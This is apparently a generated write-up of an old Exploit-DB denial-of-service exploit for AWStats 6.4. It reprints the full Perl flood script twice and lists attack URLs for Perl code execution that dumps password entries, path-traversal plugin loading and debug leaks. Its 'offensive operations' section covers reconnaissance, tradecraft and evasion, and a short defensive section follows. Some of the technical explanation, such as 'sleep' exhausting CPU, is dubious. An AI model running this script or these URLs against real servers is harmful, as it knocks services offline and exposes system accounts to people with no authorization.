AWStats 6.4 Denial of Service Exploit Analysis

What this paper is

This paper describes a Denial of Service (DoS) vulnerability in AWStats version 6.4. The exploit leverages a flaw in how AWStats handles specific URL parameters, allowing an attacker to trigger an infinite loop or excessive resource consumption, thereby making the service unavailable. The provided exploit code is a Perl script designed to automate this attack.

Simple technical breakdown

AWStats is a web analytics tool that processes web server log files. The vulnerability lies in the awstats.pl CGI script. When certain parameters are passed to this script, specifically related to plugin modes, it can be tricked into executing a command that causes it to repeatedly perform an action without end. The exploit uses a sleep command within a plugin mode to create this infinite loop, consuming server resources and leading to a DoS.

Complete code and payload walkthrough

The provided exploit is a Perl script. Let's break it down:

#!/usr/bin/perl
#
#
# Summarized the advisory www.ghc.ru GHC: /str0ke
#
# [0] Exploitable example (raw log plugin):
#    Attacker can read sensitive information
#
# http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog
#
# [1] Perl code execution. (This script)
#
# http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent
#
# [2] Arbitrary plugin including.
#
# http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib
#
# [3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4(Development).
#    Every user can access debug function:
#
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2
#
# Be sure to change the $server + /cgi-bin location /str0ke
#

This initial block is commentary and advisory information, not executable code. It outlines several potential vulnerabilities in AWStats 6.4, with [1] pointing to the Perl code execution vulnerability that this script exploits.

use IO::Socket;
$server = 'www.example.com';

• use IO::Socket;: This line imports the IO::Socket module, which is necessary for creating network connections (like TCP sockets) in Perl.
• $server = 'www.example.com';: This line defines a variable $server and assigns it the hostname 'www.example.com'. This is the target server that the script will attempt to attack. Crucially, this needs to be changed by the user to the actual target server.

sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
|| die "Error\n";
print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "\n\n";
}

• sub ConnectServer { ... }: This defines a subroutine (function) named ConnectServer.
• $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "Error\n";:
  • This attempts to establish a TCP connection to the server specified by $server on port 80 (the standard HTTP port).
  • IO::Socket::INET->new(...) creates a new internet socket.
  • Proto => "tcp" specifies the protocol as TCP.
  • PeerAddr => "$server" sets the remote address to the target server's hostname.
  • PeerPort => "80" sets the remote port to 80.
  • || die "Error\n"; is an error handling mechanism. If the new call fails (returns false), the script will print "Error" and terminate.
• print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";:
  • This is the core of the exploit. It sends an HTTP GET request to the AWStats CGI script.
  • GET /cgi-bin/awstats-6.4/awstats.pl?: This targets the AWStats CGI script.
  • &hack=$rp: This is a custom parameter. $rp is a variable that will hold a random number (explained later). The purpose of hack itself is not explicitly defined by AWStats, but it's used here to pass a value.
  • &PluginMode=:sleep: This is the critical part. It sets the PluginMode parameter to :sleep. AWStats, in its vulnerable state, interprets this as a command to execute sleep. The colon before sleep is likely part of the syntax that triggers the vulnerability.
  • HTTP/1.1\n: Specifies the HTTP protocol version.
• print $socket "Host: $server\n";: This sends the Host header, which is required for HTTP/1.1 and specifies the domain name of the host the client is trying to reach.
• print $socket "Accept: */*\n";: This sends the Accept header, indicating that the client can accept any type of content.
• print $socket "\n\n";: This sends two newline characters, which signify the end of the HTTP headers and the beginning of the request body (which is empty in this case).

while () {
$rp = rand;
&ConnectServer;
}

• while () { ... }: This creates an infinite loop. The condition () is always true in Perl, meaning the loop will continue indefinitely until the script is manually stopped or encounters an unrecoverable error.
• $rp = rand;: Inside the loop, this line generates a random floating-point number and assigns it to the variable $rp. This random number is then used in the hack=$rp parameter of the GET request. While the hack parameter itself might not be directly exploitable, passing a dynamic value like this could be a way to avoid potential caching or simple pattern matching by the server, or it might be a remnant from other exploit attempts.
• &ConnectServer;: This calls the ConnectServer subroutine, which sends the malicious HTTP request to the target server.

In summary, the script repeatedly sends an HTTP GET request to the AWStats CGI script, instructing it to enter a PluginMode that triggers a sleep command. This causes AWStats to enter an infinite loop of sleeping, consuming CPU and potentially other resources, leading to a Denial of Service.

Code Fragment/Block -> Practical Purpose Mapping:

• use IO::Socket; -> Enables network communication.
• $server = 'www.example.com'; -> Defines the target server (user configurable).
• sub ConnectServer { ... } -> Encapsulates the logic for sending a single malicious request.
• IO::Socket::INET->new(...) -> Establishes a TCP connection to the target.
• print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n"; -> The core exploit payload: sends a crafted HTTP request to trigger the DoS.
• print $socket "Host: $server\n"; -> Standard HTTP header.
• print $socket "Accept: */*\n"; -> Standard HTTP header.
• print $socket "\n\n"; -> Delimits HTTP headers.
• while () { ... } -> Creates an infinite loop to continuously attack.
• $rp = rand; -> Generates a random value for the hack parameter.
• &ConnectServer; -> Executes the attack request within the loop.

Practical details for offensive operations teams

• Required Access Level: Network access to the target server is required. The attacker needs to be able to send HTTP requests to the web server hosting AWStats. No prior authentication or local access is needed.
• Lab Preconditions:
  • A target system with AWStats version 6.4 (or a similarly vulnerable version) installed and running as a CGI script.
  • A web server (e.g., Apache, Nginx) configured to serve the AWStats CGI script.
  • Network connectivity from the attacker's machine to the target web server on port 80 (or the relevant HTTP port).
• Tooling Assumptions:
  • A system capable of running Perl scripts.
  • The Perl interpreter and the IO::Socket module must be installed on the attacker's machine.
  • Basic network tools (like ping or traceroute) might be useful for initial reconnaissance.
• Execution Pitfalls:
  • Incorrect Target: The $server variable must be accurately set to the target's hostname or IP address.
  • AWStats Version: The exploit is specific to AWStats 6.4. Newer versions are likely patched. Older versions might not be vulnerable.
  • CGI Path: The path /cgi-bin/awstats-6.4/awstats.pl might differ depending on the server's configuration. Reconnaissance is needed to confirm the correct path.
  • Firewalls/WAFs: Network firewalls or Web Application Firewalls (WAFs) might detect and block the repetitive, malformed HTTP requests.
  • Rate Limiting: The target server might implement rate limiting on HTTP requests, which could mitigate the DoS effect.
  • Resource Exhaustion: The script aims for resource exhaustion. If the target server has abundant resources or robust process management, the DoS might be temporary or less impactful.
  • Script Termination: The Perl script runs in an infinite loop. The operator must manually terminate the script (e.g., using Ctrl+C) when desired.
• Tradecraft Considerations:
  • Reconnaissance: Before execution, confirm the AWStats version and the exact path to the awstats.pl CGI script. This can often be done by visiting the AWStats URL directly and inspecting the page source or looking for version information.
  • Stealth: This is a noisy attack. The repetitive requests are easily detectable. For authorized operations, ensure proper authorization and communication with the target organization to avoid misinterpretation as a malicious attack.
  • Impact Assessment: Understand the potential impact on legitimate services. A DoS can disrupt business operations.
  • Payload Delivery: This script is designed to be run directly from the attacker's machine. It doesn't involve uploading a payload to the target.
  • Evasion: Evasion techniques for this specific exploit would focus on disguising the repetitive nature of the requests or mimicking legitimate traffic, which is difficult given the nature of the attack.

Where this was used and when

• Context: This exploit targets the AWStats web analytics software, commonly used by web administrators to analyze web server logs. The vulnerability was likely exploited against web servers running vulnerable versions of AWStats.
• Timeframe: The exploit was published on February 14, 2005. Therefore, its active exploitation period would have been around 2005 and shortly thereafter, until systems were patched or upgraded.

Defensive lessons for modern teams

• Version Management: Regularly update all software, including web server components, CGI scripts, and analytics tools, to the latest stable versions. Vulnerabilities like this are typically fixed in later releases.
• Input Validation: Web applications, especially CGI scripts, must rigorously validate all user-supplied input. This includes checking for unexpected characters, command injection attempts, and excessive parameter values.
• Plugin Security: Be cautious with features that allow dynamic loading or execution of plugins or external scripts. Ensure these mechanisms are secure and properly sandboxed.
• Resource Monitoring: Implement robust server monitoring to detect unusual spikes in CPU usage, network traffic, or process activity that could indicate a DoS attack.
• Web Application Firewalls (WAFs): Deploy and configure WAFs to detect and block common attack patterns, including malformed requests and known exploit signatures.
• Rate Limiting: Implement rate limiting on web servers to prevent a single IP address or client from overwhelming the server with requests.
• Secure CGI Practices: Avoid running CGI scripts with excessive privileges. Ensure that CGI scripts are well-written and do not expose sensitive functionality.
• Regular Audits: Conduct regular security audits and vulnerability scans of web applications and infrastructure.

ASCII visual (if applicable)

This exploit is a direct client-to-server interaction, not a complex architecture. A visual representation of the attack flow is simple:

+-----------------+       HTTP GET Request       +---------------------+
| Attacker Machine| ---------------------------->| Target Web Server   |
| (Perl Script)   | (AWStats CGI w/ exploit)     | (AWStats 6.4)       |
+-----------------+                              +----------+----------+
                                                            |
                                                            | Infinite Loop
                                                            | (sleep command)
                                                            |
                                                            v
                                                  +---------------------+
                                                  | Resource Exhaustion |
                                                  | (CPU, Memory)       |
                                                  +---------------------+
                                                            |
                                                            v
                                                  +---------------------+
                                                  | Service Unavailable |
                                                  | (Denial of Service) |
                                                  +---------------------+

Source references

• Paper ID: 817
• Paper Title: AWStats 6.4 - Denial of Service
• Author: GHC
• Published: 2005-02-14
• Keywords: CGI, dos
• Paper URL: https://www.exploit-db.com/papers/817
• Raw Exploit URL: https://www.exploit-db.com/raw/817

Original Exploit-DB Content (Verbatim)

#!/usr/bin/perl
# 
# 
# Summarized the advisory www.ghc.ru GHC: /str0ke
#											
# [0] Exploitable example (raw log plugin):						
#    Attacker can read sensitive information						
#											
# http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog	
#											
# [1] Perl code execution. (This script)						
#											
# http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent		
#											
# [2] Arbitrary plugin including.							
# 											
# http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib
#											
# [3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4(Development).	
#    Every user can access debug function:						
#											
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1					
# http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2                                  
#											
# Be sure to change the $server + /cgi-bin location /str0ke				
#											

use IO::Socket;
$server = 'www.example.com';
sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
|| die "Error\n";
print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "\n\n";
}

while () {
$rp = rand;
&ConnectServer;
}

# milw0rm.com [2005-02-14]